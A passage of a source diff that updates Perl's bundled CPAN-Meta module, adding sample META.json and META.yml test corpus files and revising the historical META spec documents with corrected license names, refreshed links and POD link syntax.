+ "file" : "lib/Compiler/Lexer.pm",
+ "version" : "0.18"
+ },
+ "Compiler::Lexer::Kind" : {
+ "file" : "lib/Compiler/Lexer/Constants.pm"
+ },
+ "Compiler::Lexer::SyntaxType" : {
+ "file" : "lib/Compiler/Lexer/Constants.pm"
+ },
+ "Compiler::Lexer::Token" : {
+ "file" : "lib/Compiler/Lexer/Token.pm"
+ },
+ "Compiler::Lexer::TokenType" : {
+ "file" : "lib/Compiler/Lexer/Constants.pm"
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "web" : "https://github.com/goccy/p5-Compiler-Lexer/issues"
+ },
+ "homepage" : "https://github.com/goccy/p5-Compiler-Lexer",
+ "repository" : {
+ "type" : "git",
+ "url" : "git://github.com/goccy/p5-Compiler-Lexer.git"
+ }
+ },
+ "version" : "0.18",
+ "x_contributors" : [
+ "tokuhirom <tokuhirom@gmail.com>",
+ "Reini Urban <rurban@cpanel.net>",
+ "Fumihiro Itoh <fmhrit@gmail.com>",
+ "Masaaki Goshima <masaaki.goshima@mixi.co.jp>",
+ "moznion <moznion@gmail.com>",
+ "Olivier Mengué <dolmen@cpan.org>",
+ "Masaaki Goshima <goccy54@gmail.com>"
+ ]
+}
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.json b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.json
new file mode 100644
index 00000000000..71bb249266a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.json
@@ -0,0 +1,33 @@
+{
+ "abstract" : "a set of version requirements for a CPAN dist",
+ "author" : [
+ "Ricardo Signes <rjbs@cpan.org>"
+ ],
+ "build_requires" : {
+ "Test::More" : "0.88"
+ },
+ "configure_requires" : {
+ "ExtUtils::MakeMaker" : "6.31"
+ },
+ "generated_by" : "Dist::Zilla version 2.100991",
+ "license" : "perl",
+ "meta-spec" : {
+ "url" : "http://module-build.sourceforge.net/META-spec-v1.4.html",
+ "version" : 1.4
+ },
+ "name" : "Version-Requirements",
+ "recommends" : {},
+ "requires" : {
+ "Carp" : "0",
+ "Scalar::Util" : "0",
+ "version" : "0.77"
+ },
+ "resources" : {
+ "repository" : "git://git.codesimply.com/Version-Requirements.git"
+ },
+ "version" : "0.101010",
+ "x_contributors" : [
+ "Dagfinn Ilmari Mannsåker <ilmari@ilmari.org>"
+ ]
+}
+
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.yml b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.yml
new file mode 100644
index 00000000000..18b23500c82
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.yml
@@ -0,0 +1,24 @@
+---
+abstract: 'a set of version requirements for a CPAN dist'
+author:
+ - 'Ricardo Signes <rjbs@cpan.org>'
+build_requires:
+ Test::More: 0.88
+configure_requires:
+ ExtUtils::MakeMaker: 6.31
+generated_by: 'Dist::Zilla version 2.100991'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: 1.4
+name: Version-Requirements
+recommends: {}
+requires:
+ Carp: 0
+ Scalar::Util: 0
+ version: 0.77
+resources:
+ repository: git://git.codesimply.com/Version-Requirements.git
+version: 0.101010
+x_contributors:
+ - 'Dagfinn Ilmari Mannsåker <ilmari@ilmari.org>'
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/bareyaml.meta b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/bareyaml.meta
new file mode 100644
index 00000000000..85c4f1d76b9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/bareyaml.meta
@@ -0,0 +1,23 @@
+abstract: 'a set of version requirements for a CPAN dist'
+author:
+ - 'Ricardo Signes <rjbs@cpan.org>'
+build_requires:
+ Test::More: 0.88
+configure_requires:
+ ExtUtils::MakeMaker: 6.31
+generated_by: 'Dist::Zilla version 2.100991'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: 1.4
+name: Version-Requirements
+recommends: {}
+requires:
+ Carp: 0
+ Scalar::Util: 0
+ version: 0.77
+resources:
+ repository: git://git.codesimply.com/Version-Requirements.git
+version: 0.101010
+x_contributors:
+ - 'Dagfinn Ilmari Mannsåker <ilmari@ilmari.org>'
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/json.meta b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/json.meta
new file mode 100644
index 00000000000..71bb249266a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/json.meta
@@ -0,0 +1,33 @@
+{
+ "abstract" : "a set of version requirements for a CPAN dist",
+ "author" : [
+ "Ricardo Signes <rjbs@cpan.org>"
+ ],
+ "build_requires" : {
+ "Test::More" : "0.88"
+ },
+ "configure_requires" : {
+ "ExtUtils::MakeMaker" : "6.31"
+ },
+ "generated_by" : "Dist::Zilla version 2.100991",
+ "license" : "perl",
+ "meta-spec" : {
+ "url" : "http://module-build.sourceforge.net/META-spec-v1.4.html",
+ "version" : 1.4
+ },
+ "name" : "Version-Requirements",
+ "recommends" : {},
+ "requires" : {
+ "Carp" : "0",
+ "Scalar::Util" : "0",
+ "version" : "0.77"
+ },
+ "resources" : {
+ "repository" : "git://git.codesimply.com/Version-Requirements.git"
+ },
+ "version" : "0.101010",
+ "x_contributors" : [
+ "Dagfinn Ilmari Mannsåker <ilmari@ilmari.org>"
+ ]
+}
+
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/yaml.meta b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/yaml.meta
new file mode 100644
index 00000000000..18b23500c82
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/yaml.meta
@@ -0,0 +1,24 @@
+---
+abstract: 'a set of version requirements for a CPAN dist'
+author:
+ - 'Ricardo Signes <rjbs@cpan.org>'
+build_requires:
+ Test::More: 0.88
+configure_requires:
+ ExtUtils::MakeMaker: 6.31
+generated_by: 'Dist::Zilla version 2.100991'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: 1.4
+name: Version-Requirements
+recommends: {}
+requires:
+ Carp: 0
+ Scalar::Util: 0
+ version: 0.77
+resources:
+ repository: git://git.codesimply.com/Version-Requirements.git
+version: 0.101010
+x_contributors:
+ - 'Dagfinn Ilmari Mannsåker <ilmari@ilmari.org>'
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_0.pod b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_0.pod
index cd3bb9c3f68..5932f5a6e74 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_0.pod
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_0.pod
@@ -21,7 +21,12 @@ Conversion from the original HTML to POD format
=item *
Include list of valid licenses from L<Module::Build> 0.17 rather than
-linking to the module.
+linking to the module, with minor updates to text and links to reflect
+versions at the time of publication.
+
+=item *
+
+Fixed some dead links to point to active resources.
=back
@@ -43,16 +48,17 @@ install it.
F<META.yml> files are written in the L<YAML|http://www.yaml.org/> format. The
reasons we chose YAML instead of, say, XML or Data::Dumper are discussed in
-L<this thread|http://archive.develooper.com/makemaker@perl.org/msg00405.html>
+L<this thread|http://www.nntp.perl.org/group/perl.makemaker/2002/04/msg406.html>
on the MakeMaker mailing list.
-The first line of a F<META.yml> file should be a valid L<YAML document header|http://www.yaml.org/spec/#.Document>
+The first line of a F<META.yml> file should be a valid
+L<YAML document header|http://yaml.org/spec/history/2002-10-31.html#syntax-document>
like C<"--- #YAML:1.0">
=head1 Fields
The rest of the META.yml file is one big YAML
-L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->,
+L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>,
whose keys are described here.
=over 4
@@ -87,28 +93,29 @@ Must be one of the following licenses:
The distribution may be copied and redistributed under the same terms as perl
itself (this is by far the most common licensing option for modules on CPAN).
-This is a dual license, in which the user may choose between either the GPL or
-the Artistic license.
+This is a dual license, in which the user may choose between either the GPL
+version 1 or the Artistic version 1 license.
=item gpl
-The distribution is distributed under the terms of the Gnu General Public
-License (L<http://www.opensource.org/licenses/gpl-license.php>).
+The distribution is distributed under the terms of the GNU General Public
+License version 2 (L<http://opensource.org/licenses/GPL-2.0>).
=item lgpl
-The distribution is distributed under the terms of the Gnu Lesser General
-Public License (L<http://www.opensource.org/licenses/lgpl-license.php>).
+The distribution is distributed under the terms of the GNU Lesser General
+Public License version 2 (L<http://opensource.org/licenses/LGPL-2.1>).
=item artistic
-The distribution is licensed under the Artistic License, as specified by the
-Artistic file in the standard perl distribution.
+The distribution is licensed under the Artistic License version 1, as specified
+by the Artistic file in the standard perl distribution
+(L<http://opensource.org/licenses/Artistic-Perl-1.0>).
=item bsd
-The distribution is licensed under the BSD License
-(L<http://www.opensource.org/licenses/bsd-license.php>).
+The distribution is licensed under the BSD 3-Clause License
+(L<http://opensource.org/licenses/BSD-3-Clause>).
=item open_source
@@ -118,7 +125,7 @@ license listed at L<http://www.opensource.org/licenses/>.
=item unrestricted
The distribution is licensed under a license that is B<not> approved by
-L<www.opensource.org|http://www.opensource.org> but that allows distribution
+L<www.opensource.org|http://www.opensource.org/> but that allows distribution
without restrictions.
=item restrictive
@@ -143,10 +150,11 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules this distribution requires for proper
operation. The keys are the module names, and the values are version
-specifications as described in the L<Module::Build|documentation for Module::Build's "requires" parameter>.
+specifications as described in the
+L<documentation for Module::Build's "requires" parameter|Module::Build::API/requires>.
I<Note: the exact nature of the fancy specifications like
C<< ">= 1.2, != 1.5, < 2.0" >> is subject to
@@ -160,7 +168,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules this distribution recommends for enhanced
operation.
@@ -171,7 +179,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules required for building and/or testing of
this distribution. These dependencies are not required after the
module is installed.
@@ -183,7 +191,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules that cannot be installed while this
distribution is installed. This is a pretty uncommon situation.
@@ -200,7 +208,7 @@ sensing the environment, etc.) as part of its build/install process.
Currently L<Module::Build> doesn't actually do anything with
this flag - it's probably going to be up to higher-level tools like
-L<CPAN|CPAN.pm> to do something useful with it. It can potentially
+L<CPAN.pm|CPAN> to do something useful with it. It can potentially
bring lots of security, packaging, and convenience improvements.
=item generated_by
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_1.pod b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_1.pod
index 7b4b2f41ce6..e0428a5e83c 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_1.pod
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_1.pod
@@ -21,7 +21,12 @@ Conversion from the original HTML to POD format
=item *
Include list of valid licenses from L<Module::Build> 0.18 rather than
-linking to the module.
+linking to the module, with minor updates to text and links to reflect
+versions at the time of publication.
+
+=item *
+
+Fixed some dead links to point to active resources.
=back
@@ -43,16 +48,17 @@ install it.
F<META.yml> files are written in the L<YAML|http://www.yaml.org/> format. The
reasons we chose YAML instead of, say, XML or Data::Dumper are discussed in
-L<this thread|http://archive.develooper.com/makemaker@perl.org/msg00405.html>
+L<this thread|http://www.nntp.perl.org/group/perl.makemaker/2002/04/msg406.html>
on the MakeMaker mailing list.
-The first line of a F<META.yml> file should be a valid L<YAML document header|http://www.yaml.org/spec/#.Document>
+The first line of a F<META.yml> file should be a valid
+L<YAML document header|http://yaml.org/spec/history/2002-10-31.html#syntax-document>
like C<"--- #YAML:1.0">
=head1 Fields
The rest of the META.yml file is one big YAML
-L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->,
+L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>,
whose keys are described here.
=over 4
@@ -102,28 +108,29 @@ Must be one of the following licenses:
The distribution may be copied and redistributed under the same terms as perl
itself (this is by far the most common licensing option for modules on CPAN).
-This is a dual license, in which the user may choose between either the GPL or
-the Artistic license.
+This is a dual license, in which the user may choose between either the GPL
+version 1 or the Artistic version 1 license.
=item gpl
-The distribution is distributed under the terms of the Gnu General Public
-License (L<http://www.opensource.org/licenses/gpl-license.php>).
+The distribution is distributed under the terms of the GNU General Public
+License version 2 (L<http://opensource.org/licenses/GPL-2.0>).
=item lgpl
-The distribution is distributed under the terms of the Gnu Lesser General
-Public License (L<http://www.opensource.org/licenses/lgpl-license.php>).
+The distribution is distributed under the terms of the GNU Lesser General
+Public License version 2 (L<http://opensource.org/licenses/LGPL-2.1>).
=item artistic
-The distribution is licensed under the Artistic License, as specified by the
-Artistic file in the standard perl distribution.
+The distribution is licensed under the Artistic License version 1, as specified
+by the Artistic file in the standard perl distribution
+(L<http://opensource.org/licenses/Artistic-Perl-1.0>).
=item bsd
-The distribution is licensed under the BSD License
-(L<http://www.opensource.org/licenses/bsd-license.php>).
+The distribution is licensed under the BSD 3-Clause License
+(L<http://opensource.org/licenses/BSD-3-Clause>).
=item open_source
@@ -133,7 +140,7 @@ license listed at L<http://www.opensource.org/licenses/>.
=item unrestricted
The distribution is licensed under a license that is B<not> approved by
-L<www.opensource.org|http://www.opensource.org> but that allows distribution
+L<www.opensource.org|http://www.opensource.org/> but that allows distribution
without restrictions.
=item restrictive
@@ -175,10 +182,11 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules this distribution requires for proper
operation. The keys are the module names, and the values are version
-specifications as described in the L<Module::Build|documentation for Module::Build's "requires" parameter>.
+specifications as described in the
+L<documentation for Module::Build's "requires" parameter|Module::Build::API/requires>.
I<Note: the exact nature of the fancy specifications like
C<< ">= 1.2, != 1.5, < 2.0" >> is subject to
@@ -192,7 +200,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules this distribution recommends for enhanced
operation.
@@ -203,7 +211,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules required for building and/or testing of
this distribution. These dependencies are not required after the
module is installed.
@@ -215,7 +223,7 @@ Example:
Data::Dumper: 0
File::Find: 1.03
-A YAML L<mapping|http://www.yaml.org/spec/#.-syntax-mapping-Mapping->
+A YAML L<mapping|http://yaml.org/spec/history/2002-10-31.html#syntax-mapping>
indicating the Perl modules that cannot be installed while this
distribution is installed. This is a pretty uncommon situation.
@@ -239,7 +247,7 @@ sensing the environment, etc.) as part of its build/install process.
Currently L<Module::Build> doesn't actually do anything with
this flag - it's probably going to be up to higher-level tools like
-L<CPAN|CPAN.pm> to do something useful with it. It can potentially
+L<CPAN.pm|CPAN> to do something useful with it. It can potentially
bring lots of security, packaging, and convenience improvements.
=item generated_by
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_2.pod b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_2.pod
index 48867b2b350..1cb471fd2f2 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_2.pod
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_2.pod
@@ -21,7 +21,12 @@ Various spelling corrections
=item *
Include list of valid licenses from L<Module::Build> 0.2611 rather than
-linking to the module.
+linking to the module, with minor updates to text and links to reflect
+versions at the time of publication.
+
+=item *
+
+Fixed some dead links to point to active resources.
=back
@@ -96,21 +101,15 @@ XML or Data::Dumper:
=item *
-Module::Build design plans
-
-L<http://nntp.x.perl.org/group/perl.makemaker/406>
+L<Module::Build design plans|http://www.nntp.perl.org/group/perl.makemaker/2002/04/msg407.html>
=item *
-Not keen on YAML
-
-L<http://nntp.x.perl.org/group/perl.module-authors/1353>
+L<Not keen on YAML|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1353.html>
=item *
-META Concerns
-
-L<http://nntp.x.perl.org/group/perl.module-authors/1385>
+L<META Concerns|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1385.html>
=back
@@ -136,8 +135,8 @@ well (ex. python, ruby).
=head1 VERSION SPECIFICATIONS
-Some fields require a version specification (ex. L<"requires">,
-L<"recommends">, L<"build_requires">, etc.). This section details the
+Some fields require a version specification (ex. L</requires>,
+L</recommends>, L</build_requires>, etc.). This section details the
version specifications that are currently supported.
If a single version is listed, then that version is considered to be
@@ -242,28 +241,29 @@ Must be one of the following licenses:
The distribution may be copied and redistributed under the same terms as perl
itself (this is by far the most common licensing option for modules on CPAN).
-This is a dual license, in which the user may choose between either the GPL or
-the Artistic license.
+This is a dual license, in which the user may choose between either the GPL
+version 1 or the Artistic version 1 license.
=item gpl
-The distribution is distributed under the terms of the Gnu General Public
-License (L<http://www.opensource.org/licenses/gpl-license.php>).
+The distribution is distributed under the terms of the GNU General Public
+License version 2 (L<http://opensource.org/licenses/GPL-2.0>).
=item lgpl
-The distribution is distributed under the terms of the Gnu Lesser General
-Public License (L<http://www.opensource.org/licenses/lgpl-license.php>).
+The distribution is distributed under the terms of the GNU Lesser General
+Public License version 2 (L<http://opensource.org/licenses/LGPL-2.1>).
=item artistic
-The distribution is licensed under the Artistic License, as specified by the
-Artistic file in the standard perl distribution.
+The distribution is licensed under the Artistic License version 1, as specified
+by the Artistic file in the standard perl distribution
+(L<http://opensource.org/licenses/Artistic-Perl-1.0>).
=item bsd
-The distribution is licensed under the BSD License
-(L<http://www.opensource.org/licenses/bsd-license.php>).
+The distribution is licensed under the BSD 3-Clause License
+(L<http://opensource.org/licenses/BSD-3-Clause>).
=item open_source
@@ -273,7 +273,7 @@ license listed at L<http://www.opensource.org/licenses/>.
=item unrestricted
The distribution is licensed under a license that is B<not> approved by
-L<www.opensource.org|http://www.opensource.org> but that allows distribution
+L<www.opensource.org|http://www.opensource.org/> but that allows distribution
without restrictions.
=item restrictive
@@ -341,9 +341,9 @@ Example:
I<(Spec 1.1) [optional] {map} A YAML sequence of names for optional features
which are made available when its requirements are met. For each
-feature a description is provided along with any of L<"requires">,
-L<"build_requires">, L<"conflicts">, L<"requires_packages">,
-L<"requires_os">, and L<"excludes_os"> which have the same meaning in
+feature a description is provided along with any of L</requires>,
+L</build_requires>, L</conflicts>, C<requires_packages>,
+C<requires_os>, and C<excludes_os> which have the same meaning in
this subcontext as described elsewhere in this document.>
=head2 build_requires
@@ -394,7 +394,7 @@ If this field is omitted, it defaults to 1 (true).
=head2 private
I<(Deprecated)> (Spec 1.0) [optional] {map} This field has been renamed to
-L</"no_index">. See below.
+L</no_index>. See below.
=head2 provides
@@ -416,7 +416,7 @@ cases, is) used by distribution and automation mechanisms like PAUSE,
CPAN, and search.cpan.org to build indexes saying in which
distribution various packages can be found.
-When using tools like C<Module::Build> that can generate the
+When using tools like L<Module::Build> that can generate the
C<provides> mapping for your distribution automatically, make sure you
examine what it generates to make sure it makes sense - indexers will
usually trust the C<provides> field if it's present, rather than
@@ -536,23 +536,23 @@ tool. RWS]
=head1 SEE ALSO
-CPAN, L<http://www.cpan.org/>
+L<CPAN|http://www.cpan.org/>
-CPAN.pm, L<http://search.cpan.org/author/ANDK/CPAN/>
+L<CPAN.pm|CPAN>
-CPANPLUS, L<http://search.cpan.org/author/KANE/CPANPLUS/>
+L<CPANPLUS>
-Data::Dumper, L<http://search.cpan.org/author/ILYAM/Data-Dumper/>
+L<Data::Dumper>
-ExtUtils::MakeMaker, L<http://search.cpan.org/author/MSCHWERN/ExtUtils-MakeMaker/>
+L<ExtUtils::MakeMaker>
-Module::Build, L<http://search.cpan.org/author/KWILLIAMS/Module-Build/>
+L<Module::Build>
-Module::Install, L<http://search.cpan.org/author/KWILLIAMS/Module-Install/>
+L<Module::Install>
-XML, L<http://www.w3.org/XML/>
+L<XML|http://www.w3.org/XML/>
-YAML, L<http://www.yaml.org/>
+L<YAML|http://www.yaml.org/>
=head1 HISTORY
@@ -574,7 +574,7 @@ Created version 1.0 of this document.
=item *
-Added the L</"dynamic_config"> field, which was missing from the initial
+Added the L</dynamic_config> field, which was missing from the initial
version.
=back
@@ -594,12 +594,12 @@ L<http://nntp.x.perl.org/group/> site.
=item *
-Added and deprecated the L<"private"> field.
+Added and deprecated the L</private> field.
=item *
-Added L<"abstract">, L<"configure">, L<"requires_packages">,
-L<"requires_os">, L<"excludes_os">, and L<"no_index"> fields.
+Added L</abstract>, C<configure>, C<requires_packages>,
+C<requires_os>, C<excludes_os>, and L</no_index> fields.
=item *
@@ -613,15 +613,15 @@ Bumped version.
=item *
-Added L<"generation">, L<"authored_by"> fields.
+Added C<generation>, C<authored_by> fields.
=item *
-Add alternative proposal to the L<"recommends"> field.
+Add alternative proposal to the L</recommends> field.
=item *
-Add proposal for a L<"requires_build_tools"> field.
+Add proposal for a C<requires_build_tools> field.
=back
@@ -635,7 +635,7 @@ Added link to latest version of this specification on CPAN.
=item *
-Added section L<"VERSION SPECIFICATIONS">.
+Added section L</"VERSION SPECIFICATIONS">.
=item *
@@ -643,7 +643,7 @@ Chang name from Module::Build::META-spec to CPAN::META::Specification.
=item *
-Add proposal for L<"auto_regenerate"> field.
+Add proposal for C<auto_regenerate> field.
=back
@@ -653,15 +653,15 @@ Add proposal for L<"auto_regenerate"> field.
=item *
-Add L<"index"> field as a compliment to L<"no_index">
+Add C<index> field as a compliment to L</no_index>
=item *
-Add L<"keywords"> field as a means to aid searching distributions.
+Add L</keywords> field as a means to aid searching distributions.
=item *
-Add L<"TERMINOLOGY"> section to explain certain terms that may be
+Add L</TERMINOLOGY> section to explain certain terms that may be
ambiguous.
=back
@@ -679,7 +679,7 @@ more like records of brainstorming.
=item *
-Changed C<authored_by> to C<author>, since that's always been what
+Changed C<authored_by> to L</author>, since that's always been what
it's actually called in actual F<META.yml> files.
=item *
@@ -689,12 +689,12 @@ operators.
=item *
-Noted that the C<distribution_type> field is basically meaningless,
+Noted that the L</distribution_type> field is basically meaningless,
and shouldn't really be used.
=item *
-Clarified C<dynamic_config> a bit.
+Clarified L</dynamic_config> a bit.
=back
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_3.pod b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_3.pod
index b075adccde6..9e889cd5970 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_3.pod
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_3.pod
@@ -21,7 +21,12 @@ Various spelling corrections
=item *
Include list of valid licenses from L<Module::Build> 0.2805 rather than
-linking to the module.
+linking to the module, with minor updates to text and links to reflect
+versions at the time of publication.
+
+=item *
+
+Fixed some dead links to point to active resources.
=back
@@ -94,17 +99,17 @@ XML or Data::Dumper:
=over 4
-=item Module::Build design plans
+=item *
-L<http://nntp.x.perl.org/group/perl.makemaker/406>
+L<Module::Build design plans|http://www.nntp.perl.org/group/perl.makemaker/2002/04/msg407.html>
-=item Not keen on YAML
+=item *
-L<http://nntp.x.perl.org/group/perl.module-authors/1353>
+L<Not keen on YAML|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1353.html>
-=item META Concerns
+=item *
-L<http://nntp.x.perl.org/group/perl.module-authors/1385>
+L<META Concerns|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1385.html>
=back
@@ -206,39 +211,40 @@ Must be one of the following licenses:
=item apache
-The distribution is licensed under the Apache Software License
-(L<http://opensource.org/licenses/apachepl.php>).
+The distribution is licensed under the Apache Software License version 1.1
+(L<http://opensource.org/licenses/Apache-1.1>).
=item artistic
-The distribution is licensed under the Artistic License, as specified by the
-Artistic file in the standard perl distribution.
+The distribution is licensed under the Artistic License version 1, as specified
+by the Artistic file in the standard perl distribution
+(L<http://opensource.org/licenses/Artistic-Perl-1.0>).
=item bsd
-The distribution is licensed under the BSD License
-(L<http://www.opensource.org/licenses/bsd-license.php>).
+The distribution is licensed under the BSD 3-Clause License
+(L<http://opensource.org/licenses/BSD-3-Clause>).
=item gpl
-The distribution is licensed under the terms of the Gnu General Public License
-(L<http://www.opensource.org/licenses/gpl-license.php>).
+The distribution is distributed under the terms of the GNU General Public
+License version 2 (L<http://opensource.org/licenses/GPL-2.0>).
=item lgpl
-The distribution is licensed under the terms of the Gnu Lesser General Public
-License (L<http://www.opensource.org/licenses/lgpl-license.php>).
+The distribution is distributed under the terms of the GNU Lesser General
+Public License version 2 (L<http://opensource.org/licenses/LGPL-2.1>).
=item mit
The distribution is licensed under the MIT License
-(L<http://opensource.org/licenses/mit-license.php>).
+(L<http://opensource.org/licenses/MIT>).
=item mozilla
The distribution is licensed under the Mozilla Public License.
-(L<http://opensource.org/licenses/mozilla1.0.php> or
-L<http://opensource.org/licenses/mozilla1.1.php>)
+(L<http://opensource.org/licenses/MPL-1.0> or
+L<http://opensource.org/licenses/MPL-1.1>)
=item open_source
@@ -249,8 +255,8 @@ license listed at L<http://www.opensource.org/licenses/>.
The distribution may be copied and redistributed under the same terms as perl
itself (this is by far the most common licensing option for modules on CPAN).
-This is a dual license, in which the user may choose between either the GPL or
-the Artistic license.
+This is a dual license, in which the user may choose between either the GPL
+version 1 or the Artistic version 1 license.
=item restrictive
@@ -292,7 +298,7 @@ Example:
(Spec 1.0) [optional] {map} A YAML mapping indicating the Perl modules this
distribution requires for proper operation. The keys are the module
names, and the values are version specifications as described in
-L<VERSION SPECIFICATIONS>.
+L</"VERSION SPECIFICATIONS">.
=head2 recommends
@@ -305,7 +311,7 @@ Example:
(Spec 1.0) [optional] {map} A YAML mapping indicating the Perl modules
this distribution recommends for enhanced operation. The keys are the
module names, and the values are version specifications as described
-in L<VERSION SPECIFICATIONS>.
+in L</"VERSION SPECIFICATIONS">.
@@ -327,9 +333,9 @@ Example:
I<(Spec 1.1) [optional] {map} A YAML sequence of names for optional features
which are made available when its requirements are met. For each
-feature a description is provided along with any of L<"requires">,
-L<"build_requires">, L<"conflicts">, L<"requires_packages">,
-L<"requires_os">, and L<"excludes_os"> which have the same meaning in
+feature a description is provided along with any of L</requires>,
+L</build_requires>, L</conflicts>, C<requires_packages>,
+C<requires_os>, and C<excludes_os> which have the same meaning in
this subcontext as described elsewhere in this document.>
=head2 build_requires
@@ -343,7 +349,7 @@ Example:
(Spec 1.0) [optional] {map} A YAML mapping indicating the Perl modules
required for building and/or testing of this distribution. The keys
are the module names, and the values are version specifications as
-described in L<VERSION SPECIFICATIONS>. These dependencies are not
+described in L</"VERSION SPECIFICATIONS">. These dependencies are not
required after the module is installed.
=head2 conflicts
@@ -358,7 +364,7 @@ Example:
cannot be installed while this distribution is installed. This is a
pretty uncommon situation. The keys for C<conflicts> are the module
names, and the values are version specifications as described in
-L<VERSION SPECIFICATIONS>.
+L</"VERSION SPECIFICATIONS">.
=head2 dynamic_config
@@ -385,7 +391,7 @@ If this field is omitted, it defaults to 1 (true).
=head2 private
I<(Deprecated)> (Spec 1.0) [optional] {map} This field has been renamed to
-L</"no_index">. See below.
+L</no_index>. See below.
=head2 provides
@@ -407,7 +413,7 @@ cases, is) used by distribution and automation mechanisms like PAUSE,
CPAN, and search.cpan.org to build indexes saying in which
distribution various packages can be found.
-When using tools like C<Module::Build> that can generate the
+When using tools like L<Module::Build> that can generate the
C<provides> mapping for your distribution automatically, make sure you
examine what it generates to make sure it makes sense - indexers will
usually trust the C<provides> field if it's present, rather than
@@ -437,7 +443,7 @@ directories, packages, and namespaces that are private
and indexing tools. This is useful when no C<provides> field is
present.
-For example, C<search.cpan.org> excludes items listed in C<no_index>
+For example, L<http://search.cpan.org/> excludes items listed in C<no_index>
when searching for POD, meaning files in these directories will not
converted to HTML and made public - which is useful if you have
example or test PODs that you don't want the search engine to go
@@ -534,8 +540,8 @@ tool. RWS]
=head1 VERSION SPECIFICATIONS
-Some fields require a version specification (ex. L<"requires">,
-L<"recommends">, L<"build_requires">, etc.) to indicate the particular
+Some fields require a version specification (ex. L</requires>,
+L</recommends>, L</build_requires>, etc.) to indicate the particular
versionZ<>(s) of some other module that may be required as a
prerequisite. This section details the version specification formats
that are currently supported.
